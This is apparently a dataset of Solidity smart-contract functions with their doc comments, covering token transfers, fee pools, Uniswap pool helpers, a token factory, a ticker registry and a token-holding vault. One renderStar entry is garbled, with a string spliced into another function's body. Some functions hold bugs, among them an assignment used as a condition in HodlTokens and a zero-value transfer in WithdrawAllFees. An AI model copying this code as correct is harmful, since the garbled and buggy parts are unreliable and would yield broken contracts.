require(_value <= balances[_from]);\r\n require(_value <= allowed[_from][msg.sender]);\r\n\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Transfer token for a specified address. Trading limited - requires the TDE to have ended.\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n */", "function_code": "function transfer(address _to, uint256 _value)\r\n public\r\n returns (bool)\r\n {\r\n if (!isFinalized) return false;\r\n require(_to != address(0));\r\n require(_value <= balances[msg.sender]);\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice The Synthetix contract informs us when fees are paid.\r\n */", "function_code": "function feePaid(bytes4 currencyKey, uint amount)\r\n external\r\n onlySynthetix\r\n {\r\n uint xdrAmount;\r\n\r\n if (currencyKey != \"XDR\") {\r\n xdrAmount = synthetix.effectiveValue(currencyKey, amount, \"XDR\");\r\n } else {\r\n xdrAmount = amount;\r\n }\r\n\r\n // Keep track of in XDRs in our fee pool.\r\n recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);\r\n }", "version": "0.4.25"} {"comment": "// generate metadata for stars", "function_code": "function haveStar(uint256 tokenId) private pure returns (string memory) {\r\n uint256 starSeed = random(\"star\", tokenId);\r\n string memory traitTypeJson = ', {\"trait_type\": \"Star\", \"value\": \"';\r\n if (starSeed % 47 == 1)\r\n return string(abi.encodePacked(traitTypeJson, 'Sirius\"}'));\r\n if (starSeed % 11 == 1)\r\n return string(abi.encodePacked(traitTypeJson, 'Vega\"}'));\r\n return '';\r\n }", "version": "0.8.7"} {"comment": "// render stars in SVG", "function_code": "function renderStar(uint256 tokenId) private pure returns (string memory) {\r\n string memory starFirstPart = ' 0) {\r\n string memory link1description = string(abi.encodePacked('[#', toString(link1Id), ' ', getRoomTheme(link1Id), ' ', getRoomType(link1Id), '](', string(abi.encodePacked(_roomBaseUrl, toString(link1Id))) ,')'));\r\n uint256 link2Id = getAssetLink2(tokenId);\r\n if (link2Id > 0) {\r\n string memory link2description = string(abi.encodePacked('[#', toString(link2Id), ' ', getRoomTheme(link2Id), ' ', getRoomType(link2Id), '](', string(abi.encodePacked(_roomBaseUrl, toString(link2Id))) ,')'));\r\n if (link2Id > link1Id)\r\n return string(abi.encodePacked(description0, description1, link1description,' and ',link2description, '.'));\r\n else\r\n return string(abi.encodePacked(description0, description1, link2description,' and ',link1description, '.'));\r\n } else {\r\n return string(abi.encodePacked(description0, description1, link1description,'.'));\r\n }\r\n } else {\r\n return description0;\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @notice Returns PoolKey: the ordered tokens with the matched fee levels\n/// @param tokenA The first token of a pool, unsorted\n/// @param tokenB The second token of a pool, unsorted\n/// @param fee The fee level of the pool\n/// @return Poolkey The pool details with ordered token0 and token1 assignments", "function_code": "function getPoolKey(\n address tokenA,\n address tokenB,\n uint24 fee\n ) internal pure returns (PoolKey memory) {\n if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);\n return PoolKey({token0: tokenA, token1: tokenB, fee: fee});\n }", "version": "0.8.6"} {"comment": "/// @notice Deterministically computes the pool address given the factory and PoolKey\n/// @param factory The Uniswap V3 factory contract address\n/// @param key The PoolKey\n/// @return pool The contract address of the V3 pool", "function_code": "function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {\n require(key.token0 < key.token1);\n pool = address(\n uint160(uint256(\n keccak256(\n abi.encodePacked(\n hex'ff',\n factory,\n keccak256(abi.encode(key.token0, key.token1, key.fee)),\n POOL_INIT_CODE_HASH\n )\n )\n ))\n );\n }", "version": "0.8.6"} {"comment": "/**\r\n * @notice Calculate the Fee charged on top of a value being sent\r\n * @return Return the fee charged\r\n */", "function_code": "function transferFeeIncurred(uint value)\r\n public\r\n view\r\n returns (uint)\r\n {\r\n return value.multiplyDecimal(transferFeeRate);\r\n\r\n // Transfers less than the reciprocal of transferFeeRate should be completely eaten up by fees.\r\n // This is on the basis that transfers less than this value will result in a nil fee.\r\n // Probably too insignificant to worry about, but the following code will achieve it.\r\n // if (fee == 0 && transferFeeRate != 0) {\r\n // return _value;\r\n // }\r\n // return fee;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice queue address to change boolean in mapping\r\n @param _managing MANAGING\r\n @param _address address\r\n @return bool\r\n */", "function_code": "function queue(MANAGING _managing, address _address) external onlyManager() returns (bool) {\r\n require(_address != address(0));\r\n if (_managing == MANAGING.RESERVEDEPOSITOR) {// 0\r\n reserveDepositorQueue[_address] = block.number.add(blocksNeededForQueue);\r\n } else if (_managing == MANAGING.RESERVESPENDER) {// 1\r\n reserveSpenderQueue[_address] = block.number.add(blocksNeededForQueue);\r\n } else if (_managing == MANAGING.RESERVETOKEN) {// 2\r\n reserveTokenQueue[_address] = block.number.add(blocksNeededForQueue);\r\n } else if (_managing == MANAGING.RESERVEMANAGER) {// 3\r\n ReserveManagerQueue[_address] = block.number.add(blocksNeededForQueue.mul(2));\r\n } else if (_managing == MANAGING.LIQUIDITYDEPOSITOR) {// 4\r\n LiquidityDepositorQueue[_address] = block.number.add(blocksNeededForQueue);\r\n } else if (_managing == MANAGING.LIQUIDITYTOKEN) {// 5\r\n LiquidityTokenQueue[_address] = block.number.add(blocksNeededForQueue);\r\n } else if (_managing == MANAGING.LIQUIDITYMANAGER) {// 6\r\n LiquidityManagerQueue[_address] = block.number.add(blocksNeededForQueue.mul(2));\r\n } else if (_managing == MANAGING.DEBTOR) {// 7\r\n debtorQueue[_address] = block.number.add(blocksNeededForQueue);\r\n } else if (_managing == MANAGING.REWARDMANAGER) {// 8\r\n rewardManagerQueue[_address] = block.number.add(blocksNeededForQueue);\r\n } else if (_managing == MANAGING.SGWS) {// 9\r\n sGWSQueue = block.number.add(blocksNeededForQueue);\r\n } else return false;\r\n\r\n emit ChangeQueued(_managing, _address);\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/* A contract attempts to get the coins */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {\r\n if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead\r\n if (balanceOf[_from] < _value) revert(); // Check if the sender has enough\r\n if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows\r\n if (_value > allowance[_from][msg.sender]) revert(); // Check allowance\r\n balanceOf[_from] -= _value; // Subtract from the sender\r\n balanceOf[_to] += _value; // Add the same to the recipient\r\n allowance[_from][msg.sender] -= _value;\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * @dev transfers tokens to a given address on behalf of another address\r\n * throws on any error rather then return a false flag to minimize user errors\r\n *\r\n * @param _from source address\r\n * @param _to target address\r\n * @param _value transfer amount\r\n *\r\n * @return true if the transfer was successful, false if it wasn't\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value)\r\n public\r\n virtual\r\n override\r\n validAddress(_from)\r\n validAddress(_to)\r\n returns (bool)\r\n {\r\n allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);\r\n balanceOf[_from] = balanceOf[_from].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @inheritdoc IPrizeFlush", "function_code": "function flush() external override onlyManagerOrOwner returns (bool) {\n // Captures interest from PrizePool and distributes funds using a PrizeSplitStrategy.\n strategy.distribute();\n\n // After funds are distributed using PrizeSplitStrategy we EXPECT funds to be located in the Reserve.\n IReserve _reserve = reserve;\n IERC20 _token = _reserve.getToken();\n uint256 _amount = _token.balanceOf(address(_reserve));\n\n // IF the tokens were succesfully moved to the Reserve, now move them to the destination (PrizeDistributor) address.\n if (_amount > 0) {\n address _destination = destination;\n\n // Create checkpoint and transfers new total balance to PrizeDistributor\n _reserve.withdrawTo(_destination, _amount);\n\n emit Flushed(_destination, _amount);\n return true;\n }\n\n return false;\n }", "version": "0.8.6"} {"comment": "/// @notice Deploy a proxy that fetches its implementation from this\n/// ProxyBeacon.", "function_code": "function deployProxy(bytes32 create2Salt, bytes calldata encodedParameters)\n external\n onlyProxyDeployer\n returns (address)\n {\n // Deploy without initialization code so that the create2 address isn't\n // based on the initialization parameters.\n address proxy = address(new BeaconProxy{salt: create2Salt}(address(this), \"\"));\n\n Address.functionCall(address(proxy), encodedParameters);\n\n return proxy;\n\n }", "version": "0.8.7"} {"comment": "// join the club!\n// make a deposit to another account if it exists \n// or initialize a deposit for a new account", "function_code": "function deposit(address _to) payable public {\r\n require(msg.value > 0);\r\n if (_to == 0) _to = msg.sender;\r\n // if a new member, init a hodl time\r\n if (hodlers[_to].time == 0) {\r\n hodlers[_to].time = now + hodl_interval;\r\n m_hodlers++;\r\n } \r\n hodlers[_to].value += msg.value;\r\n }", "version": "0.4.18"} {"comment": "/// @param vaultId The vault to liquidate\n/// @notice Liquidates a vault with help from a Uniswap v3 flash loan", "function_code": "function liquidate(bytes12 vaultId) external {\n uint24 poolFee = 3000; // 0.3%\n\n DataTypes.Vault memory vault = cauldron.vaults(vaultId);\n DataTypes.Balances memory balances = cauldron.balances(vaultId);\n DataTypes.Series memory series = cauldron.series(vault.seriesId);\n address base = cauldron.assets(series.baseId);\n address collateral = cauldron.assets(vault.ilkId);\n\t\tuint128 baseLoan = cauldron.debtToBase(vault.seriesId, balances.art);\n\n // tokens in PoolKey must be ordered\n bool ordered = (collateral < base);\n PoolAddress.PoolKey memory poolKey = PoolAddress.PoolKey({\n token0: ordered ? collateral : base,\n token1: ordered ? base : collateral,\n fee: poolFee\n });\n IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey));\n\n // data for the callback to know what to do\n FlashCallbackData memory args = FlashCallbackData({\n vaultId: vaultId,\n base: base,\n collateral: collateral,\n baseLoan: baseLoan,\n baseJoin: address(witch.ladle().joins(series.baseId)),\n poolKey: poolKey\n });\n\n // initiate flash loan, with the liquidation logic embedded in the flash loan callback\n pool.flash(\n address(this),\n ordered ? 0 : baseLoan,\n ordered ? baseLoan : 0,\n abi.encode(\n args\n )\n );\n }", "version": "0.8.6"} {"comment": "//allows the owner to abort the contract and retrieve all funds", "function_code": "function kill() public { \r\n if (msg.sender == owner) // only allow this action if the account sending the signal is the creator\r\n selfdestruct(owner); // kills this contract and sends remaining funds back to creator\r\n }", "version": "0.4.19"} {"comment": "// Make sure draft tokens are already set up in Manifold Studio and get their metadata URIs prior to bulk minting ", "function_code": "function airdropURIs(address[] calldata receivers, string[] calldata uris) external adminRequired {\r\n require(receivers.length == uris.length, \"Length mismatch\");\r\n\r\n for (uint i = 0; i < receivers.length; i++) {\r\n IERC721CreatorCore(_creator).mintExtension(receivers[i], uris[i]);\r\n }\r\n _minted += receivers.length;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice changes a string to upper case\r\n * @param _base string to change\r\n */", "function_code": "function upper(string _base) internal pure returns (string) {\r\n bytes memory _baseBytes = bytes(_base);\r\n for (uint i = 0; i < _baseBytes.length; i++) {\r\n bytes1 b1 = _baseBytes[i];\r\n if (b1 >= 0x61 && b1 <= 0x7A) {\r\n b1 = bytes1(uint8(b1)-32);\r\n }\r\n _baseBytes[i] = b1;\r\n }\r\n return string(_baseBytes);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Register the token symbol for its particular owner\r\n * @notice Once the token symbol is registered to its owner then no other issuer can claim\r\n * @notice its ownership. If the symbol expires and its issuer hasn't used it, then someone else can take it.\r\n * @param _symbol token symbol\r\n * @param _tokenName Name of the token\r\n * @param _owner Address of the owner of the token\r\n * @param _swarmHash Off-chain details of the issuer and token\r\n */", "function_code": "function registerTicker(address _owner, string _symbol, string _tokenName, bytes32 _swarmHash) public whenNotPaused {\r\n require(_owner != address(0), \"Owner should not be 0x\");\r\n require(bytes(_symbol).length > 0 && bytes(_symbol).length <= 10, \"Ticker length should always between 0 & 10\");\r\n if(registrationFee > 0)\r\n require(ERC20(polyToken).transferFrom(msg.sender, this, registrationFee), \"Failed transferFrom because of sufficent Allowance is not provided\");\r\n string memory symbol = upper(_symbol);\r\n require(expiryCheck(symbol), \"Ticker is already reserved\");\r\n registeredSymbols[symbol] = SymbolDetails(_owner, now, _tokenName, _swarmHash, false);\r\n emit LogRegisterTicker (_owner, symbol, _tokenName, _swarmHash, now);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Check the validity of the symbol\r\n * @param _symbol token symbol\r\n * @param _owner address of the owner\r\n * @param _tokenName Name of the token\r\n * @return bool\r\n */", "function_code": "function checkValidity(string _symbol, address _owner, string _tokenName) public returns(bool) {\r\n string memory symbol = upper(_symbol);\r\n require(msg.sender == securityTokenRegistry, \"msg.sender should be SecurityTokenRegistry contract\");\r\n require(registeredSymbols[symbol].status != true, \"Symbol status should not equal to true\");\r\n require(registeredSymbols[symbol].owner == _owner, \"Owner of the symbol should matched with the requested issuer address\");\r\n require(registeredSymbols[symbol].timestamp.add(expiryLimit) >= now, \"Ticker should not be expired\");\r\n registeredSymbols[symbol].tokenName = _tokenName;\r\n registeredSymbols[symbol].status = true;\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Check the symbol is reserved or not\r\n * @param _symbol Symbol of the token\r\n * @param _owner Owner of the token\r\n * @param _tokenName Name of the token\r\n * @param _swarmHash off-chain hash\r\n * @return bool\r\n */", "function_code": "function isReserved(string _symbol, address _owner, string _tokenName, bytes32 _swarmHash) public returns(bool) {\r\n string memory symbol = upper(_symbol);\r\n require(msg.sender == securityTokenRegistry, \"msg.sender should be SecurityTokenRegistry contract\");\r\n if (registeredSymbols[symbol].owner == _owner && !expiryCheck(_symbol)) {\r\n registeredSymbols[symbol].status = true;\r\n return false;\r\n }\r\n else if (registeredSymbols[symbol].owner == address(0) || expiryCheck(symbol)) {\r\n registeredSymbols[symbol] = SymbolDetails(_owner, now, _tokenName, _swarmHash, true);\r\n emit LogRegisterTicker (_owner, symbol, _tokenName, _swarmHash, now);\r\n return false;\r\n } else\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Returns the owner and timestamp for a given symbol\r\n * @param _symbol symbol\r\n * @return address\r\n * @return uint256\r\n * @return string\r\n * @return bytes32\r\n * @return bool\r\n */", "function_code": "function getDetails(string _symbol) public view returns (address, uint256, string, bytes32, bool) {\r\n string memory symbol = upper(_symbol);\r\n if (registeredSymbols[symbol].status == true||registeredSymbols[symbol].timestamp.add(expiryLimit) > now) {\r\n return\r\n (\r\n registeredSymbols[symbol].owner,\r\n registeredSymbols[symbol].timestamp,\r\n registeredSymbols[symbol].tokenName,\r\n registeredSymbols[symbol].swarmHash,\r\n registeredSymbols[symbol].status\r\n );\r\n }else\r\n return (address(0), uint256(0), \"\", bytes32(0), false);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice To re-initialize the token symbol details if symbol validity expires\r\n * @param _symbol token symbol\r\n * @return bool\r\n */", "function_code": "function expiryCheck(string _symbol) internal returns(bool) {\r\n if (registeredSymbols[_symbol].owner != address(0)) {\r\n if (now > registeredSymbols[_symbol].timestamp.add(expiryLimit) && registeredSymbols[_symbol].status != true) {\r\n registeredSymbols[_symbol] = SymbolDetails(address(0), uint256(0), \"\", bytes32(0), false);\r\n return true;\r\n }else\r\n return false;\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// Function 02 - Contribute (Hodl Platform)", "function_code": "function HodlTokens(address tokenAddress, uint256 amount) public contractActive {\r\n require(tokenAddress != 0x0);\r\n require(amount > 0);\r\n\t\t\r\n\t\tif(contractaddress[tokenAddress] = false) { revert(); }\t\r\n\t\t\r\n ERC20Interface token = ERC20Interface(tokenAddress); \r\n require(token.transferFrom(msg.sender, address(this), amount));\r\n\t\t\r\n\t\tuint256 affiliatecomission \t\t= mul(amount, affiliate) / 100; \t// *\r\n\t\tuint256 nocashback \t\t\t\t= mul(amount, 28) / 100; \t// *\r\n\t\t\r\n\t\t \tif (cashbackcode[msg.sender] == 0 ) { \t\t\t\t\r\n\t\t\tuint256 data_amountbalance \t\t= mul(amount, 72) / 100;\r\n\t\t\tuint256 data_cashbackbalance \t= 0; \r\n\t\t\taddress data_referrer\t\t\t= superOwner;\r\n\t\t\t\r\n\t\t\tcashbackcode[msg.sender] = superOwner;\r\n\t\t\temit onCashbackCode(msg.sender, superOwner);\r\n\t\t\t\r\n\t\t\t_systemReserves[tokenAddress] \t= add(_systemReserves[tokenAddress], nocashback);\r\n\t\t\t\r\n\t\t\t} else { \t\r\n\t\t\tdata_amountbalance \t\t= sub(amount, affiliatecomission);\t\r\n\t\t\tdata_cashbackbalance \t= mul(amount, cashback) / 100;\r\n\t\t\tdata_referrer\t\t\t= cashbackcode[msg.sender];\r\n\r\n\t\t\t_systemReserves[tokenAddress] \t= add(_systemReserves[tokenAddress], affiliatecomission); } //--->>> Dont forget to change code\r\n\t\t\t \t\t \t\t\t\t \t\t\t\t\t \r\n\t// Insert to Database \t\t\t \t \r\n\t\t_userSafes[msg.sender].push(_currentIndex);\r\n\t\t_safes[_currentIndex] = \r\n\r\n\t\tSafe(\r\n\t\t_currentIndex, amount, now + hodlingTime, msg.sender, tokenAddress, token.symbol(), data_amountbalance, data_cashbackbalance, now, percent, 0, 0, 0, data_referrer);\t\t\t\t\r\n\t\t\r\n\t// Update Token Balance, Current Index, CountSafes\t\t\r\n _totalSaved[tokenAddress] \t\t= add(_totalSaved[tokenAddress], amount); \t\t\r\n _currentIndex++;\r\n _countSafes++;\r\n \r\n emit onHodlTokens(msg.sender, tokenAddress, token.symbol(), amount, now + hodlingTime);\r\n }", "version": "0.4.25"} {"comment": "// Function 05 - Get Data Values", "function_code": "function GetSafe(uint256 _id) public view\r\n returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive, address referrer)\r\n {\r\n Safe storage s = _safes[_id];\r\n return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive, s.referrer);\r\n }", "version": "0.4.25"} {"comment": "// Useless Function ( Public )\t\n//??? Function 01 - Store Comission From Unfinished Hodl", "function_code": "function StoreComission(address tokenAddress, uint256 amount) private {\r\n \r\n _systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], amount);\r\n \r\n bool isNew = true;\r\n for(uint256 i = 0; i < _listedReserves.length; i++) {\r\n if(_listedReserves[i] == tokenAddress) {\r\n isNew = false;\r\n break;\r\n }\r\n } \r\n if(isNew) _listedReserves.push(tokenAddress); \r\n }", "version": "0.4.25"} {"comment": "//??? Function 02 - Delete Safe Values In Storage ", "function_code": "function DeleteSafe(Safe s) private {\r\n \r\n _totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], s.amount);\r\n delete _safes[s.id];\r\n \r\n uint256[] storage vector = _userSafes[msg.sender];\r\n uint256 size = vector.length; \r\n for(uint256 i = 0; i < size; i++) {\r\n if(vector[i] == s.id) {\r\n vector[i] = vector[size-1];\r\n vector.length--;\r\n break;\r\n }\r\n } \r\n }", "version": "0.4.25"} {"comment": "//??? Function 04 - Get User's Any Token Balance", "function_code": "function GetHodlTokensBalance(address tokenAddress) public view returns (uint256 balance) {\r\n require(tokenAddress != 0x0);\r\n \r\n for(uint256 i = 1; i < _currentIndex; i++) { \r\n Safe storage s = _safes[i];\r\n if(s.user == msg.sender && s.tokenAddress == tokenAddress)\r\n balance += s.amount;\r\n }\r\n return balance;\r\n }", "version": "0.4.25"} {"comment": "// 07 Withdraw All Eth And All Tokens Fees ", "function_code": "function WithdrawAllFees() onlyOwner public {\r\n \r\n // Ether\r\n uint256 x = _systemReserves[0x0];\r\n if(x > 0 && x <= address(this).balance) {\r\n _systemReserves[0x0] = 0;\r\n msg.sender.transfer(_systemReserves[0x0]);\r\n }\r\n \r\n // Tokens\r\n address ta;\r\n ERC20Interface token;\r\n for(uint256 i = 0; i < _listedReserves.length; i++) {\r\n ta = _listedReserves[i];\r\n if(_systemReserves[ta] > 0)\r\n { \r\n x = _systemReserves[ta];\r\n _systemReserves[ta] = 0;\r\n \r\n token = ERC20Interface(ta);\r\n token.transfer(msg.sender, x);\r\n }\r\n }\r\n _listedReserves.length = 0; \r\n }", "version": "0.4.25"} {"comment": "// 08 - Returns All Tokens Addresses With Fees ", "function_code": "function GetTokensAddressesWithFees() \r\n onlyOwner public view \r\n returns (address[], string[], uint256[])\r\n {\r\n uint256 length = _listedReserves.length;\r\n \r\n address[] memory tokenAddress = new address[](length);\r\n string[] memory tokenSymbol = new string[](length);\r\n uint256[] memory tokenFees = new uint256[](length);\r\n \r\n for (uint256 i = 0; i < length; i++) {\r\n \r\n tokenAddress[i] = _listedReserves[i];\r\n \r\n ERC20Interface token = ERC20Interface(tokenAddress[i]);\r\n \r\n tokenSymbol[i] = token.symbol();\r\n tokenFees[i] = GetTokenFees(tokenAddress[i]);\r\n }\r\n \r\n return (tokenAddress, tokenSymbol, tokenFees);\r\n }", "version": "0.4.25"} {"comment": "// 09 - Return All Tokens To Their Respective Addresses ", "function_code": "function ReturnAllTokens(bool onlyAXPR) onlyOwner public\r\n {\r\n uint256 returned;\r\n\r\n for(uint256 i = 1; i < _currentIndex; i++) { \r\n Safe storage s = _safes[i];\r\n if (s.id != 0) {\r\n if (\r\n (onlyAXPR && s.tokenAddress == AXPRtoken) ||\r\n !onlyAXPR\r\n )\r\n {\r\n PayToken(s.user, s.tokenAddress, s.amountbalance);\r\n \r\n _countSafes--;\r\n returned++;\r\n }\r\n }\r\n }\r\n\r\n emit onReturnAll(returned);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * SAFE MATH FUNCTIONS\r\n * \r\n * @dev Multiplies two numbers, throws on overflow.\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Creates the contract and sets the owners\r\n * @param owners_dot_recipient - array of 16 owner records (MultiOwnable.Owner.recipient fields)\r\n * @param owners_dot_share - array of 16 owner records (MultiOwnable.Owner.share fields)\r\n */", "function_code": "function BlindCroupierTokenDistribution (address[16] owners_dot_recipient, uint[16] owners_dot_share) MultiOwnable(owners_dot_recipient, owners_dot_share) { \r\nMultiOwnable.Owner[16] memory owners;\r\n\r\nfor(uint __recipient_iterator__ = 0; __recipient_iterator__ < owners_dot_recipient.length;__recipient_iterator__++)\r\n owners[__recipient_iterator__].recipient = address(owners_dot_recipient[__recipient_iterator__]);\r\nfor(uint __share_iterator__ = 0; __share_iterator__ < owners_dot_share.length;__share_iterator__++)\r\n owners[__share_iterator__].share = uint(owners_dot_share[__share_iterator__]);\r\n state = State.NotStarted;\r\n }", "version": "0.4.15"} {"comment": "/**\n * @notice Sets integrator fee percentage.\n * @param _amount Percentage amount.\n */", "function_code": "function setIntegratorFeePct(uint256 _amount) external {\n require(\n accessControls.hasAdminRole(msg.sender),\n \"MISOTokenFactory: Sender must be operator\"\n );\n /// @dev this is out of 1000, ie 25% = 250\n require(\n _amount <= INTEGRATOR_FEE_PRECISION, \n \"MISOTokenFactory: Range is from 0 to 1000\"\n );\n integratorFeePct = _amount;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Sets the current template ID for any type.\n * @param _templateType Type of template.\n * @param _templateId The ID of the current template for that type\n */", "function_code": "function setCurrentTemplateId(uint256 _templateType, uint256 _templateId) external {\n require(\n accessControls.hasAdminRole(msg.sender) ||\n accessControls.hasOperatorRole(msg.sender),\n \"MISOTokenFactory: Sender must be admin\"\n );\n require(tokenTemplates[_templateId] != address(0), \"MISOTokenFactory: incorrect _templateId\");\n require(IMisoToken(tokenTemplates[_templateId]).tokenTemplate() == _templateType, \"MISOTokenFactory: incorrect _templateType\");\n currentTemplateId[_templateType] = _templateId;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Creates a token corresponding to template id and transfers fees.\n * @dev Initializes token with parameters passed\n * @param _templateId Template id of token to create.\n * @param _integratorFeeAccount Address to pay the fee to.\n * @return token Token address.\n */", "function_code": "function deployToken(\n uint256 _templateId,\n address payable _integratorFeeAccount\n )\n public payable returns (address token)\n {\n /// @dev If the contract is locked, only admin and minters can deploy. \n if (locked) {\n require(accessControls.hasAdminRole(msg.sender) \n || accessControls.hasMinterRole(msg.sender)\n || hasTokenMinterRole(msg.sender),\n \"MISOTokenFactory: Sender must be minter if locked\"\n );\n }\n require(msg.value >= minimumFee, \"MISOTokenFactory: Failed to transfer minimumFee\");\n require(tokenTemplates[_templateId] != address(0), \"MISOTokenFactory: incorrect _templateId\");\n uint256 integratorFee = 0;\n uint256 misoFee = msg.value;\n if (_integratorFeeAccount != address(0) && _integratorFeeAccount != misoDiv) {\n integratorFee = misoFee * integratorFeePct / INTEGRATOR_FEE_PRECISION;\n misoFee = misoFee - integratorFee;\n }\n token = createClone(tokenTemplates[_templateId]);\n /// @dev GP: Triple check the token index is correct.\n tokenInfo[token] = Token(true, _templateId, tokens.length);\n tokens.push(token);\n emit TokenCreated(msg.sender, token, tokenTemplates[_templateId]);\n if (misoFee > 0) {\n misoDiv.transfer(misoFee);\n }\n if (integratorFee > 0) {\n _integratorFeeAccount.transfer(integratorFee);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Creates a token corresponding to template id.\n * @dev Initializes token with parameters passed.\n * @param _templateId Template id of token to create.\n * @param _integratorFeeAccount Address to pay the fee to.\n * @param _data Data to be passed to the token contract for init.\n * @return token Token address.\n */", "function_code": "function createToken(\n uint256 _templateId,\n address payable _integratorFeeAccount,\n bytes calldata _data\n )\n external payable returns (address token)\n {\n token = deployToken(_templateId, _integratorFeeAccount);\n emit TokenInitialized(address(token), _templateId, _data);\n IMisoToken(token).initToken(_data);\n uint256 initialTokens = IERC20(token).balanceOf(address(this));\n if (initialTokens > 0 ) {\n _safeTransfer(token, msg.sender, initialTokens);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Function to add a token template to create through factory.\n * @dev Should have operator access.\n * @param _template Token template to create a token.\n */", "function_code": "function addTokenTemplate(address _template) external {\n require(\n accessControls.hasAdminRole(msg.sender) ||\n accessControls.hasOperatorRole(msg.sender),\n \"MISOTokenFactory: Sender must be operator\"\n );\n uint256 templateType = IMisoToken(_template).tokenTemplate();\n require(templateType > 0, \"MISOTokenFactory: Incorrect template code \");\n require(tokenTemplateToId[_template] == 0, \"MISOTokenFactory: Template exists\");\n tokenTemplateId++;\n tokenTemplates[tokenTemplateId] = _template;\n tokenTemplateToId[_template] = tokenTemplateId;\n currentTemplateId[templateType] = tokenTemplateId;\n emit TokenTemplateAdded(_template, tokenTemplateId);\n\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Function to remove a token template.\n * @dev Should have operator access.\n * @param _templateId Refers to template that is to be deleted.\n */", "function_code": "function removeTokenTemplate(uint256 _templateId) external {\n require(\n accessControls.hasAdminRole(msg.sender) ||\n accessControls.hasOperatorRole(msg.sender),\n \"MISOTokenFactory: Sender must be operator\"\n );\n require(tokenTemplates[_templateId] != address(0));\n address template = tokenTemplates[_templateId];\n uint256 templateType = IMisoToken(tokenTemplates[_templateId]).tokenTemplate();\n if (currentTemplateId[templateType] == _templateId) {\n delete currentTemplateId[templateType];\n }\n tokenTemplates[_templateId] = address(0);\n delete tokenTemplateToId[template];\n emit TokenTemplateRemoved(template, _templateId);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Transfer `_amount` from `msg.sender.address()` to `_to`.\r\n *\r\n * @param _to Address that will receive.\r\n * @param _amount Amount to be transferred.\r\n */", "function_code": "function transfer(address _to, uint256 _amount) returns (bool success) {\r\n assert(allowTransactions);\r\n assert(!frozenAccount[msg.sender]);\r\n assert(balanceOf[msg.sender] >= _amount);\r\n assert(balanceOf[_to] + _amount >= balanceOf[_to]);\r\n activateAccount(msg.sender);\r\n activateAccount(_to);\r\n balanceOf[msg.sender] -= _amount;\r\n if (_to == address(this)) treasuryBalance += _amount;\r\n else balanceOf[_to] += _amount;\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n }", "version": "0.3.6"} {"comment": "/**\r\n * @notice Transfer `_amount` from `_from` to `_to`.\r\n *\r\n * @param _from Origin address\r\n * @param _to Address that will receive\r\n * @param _amount Amount to be transferred.\r\n * @return result of the method call\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {\r\n assert(allowTransactions);\r\n assert(!frozenAccount[msg.sender]);\r\n assert(!frozenAccount[_from]);\r\n assert(balanceOf[_from] >= _amount);\r\n assert(balanceOf[_to] + _amount >= balanceOf[_to]);\r\n assert(_amount <= allowance[_from][msg.sender]);\r\n balanceOf[_from] -= _amount;\r\n balanceOf[_to] += _amount;\r\n allowance[_from][msg.sender] -= _amount;\r\n activateAccount(_from);\r\n activateAccount(_to);\r\n activateAccount(msg.sender);\r\n Transfer(_from, _to, _amount);\r\n return true;\r\n }", "version": "0.3.6"} {"comment": "/**\r\n * @notice Approve spender `_spender` to transfer `_amount` from `msg.sender.address()`\r\n *\r\n * @param _spender Address that receives the cheque\r\n * @param _amount Amount on the cheque\r\n * @param _extraData Consequential contract to be executed by spender in same transcation.\r\n * @return result of the method 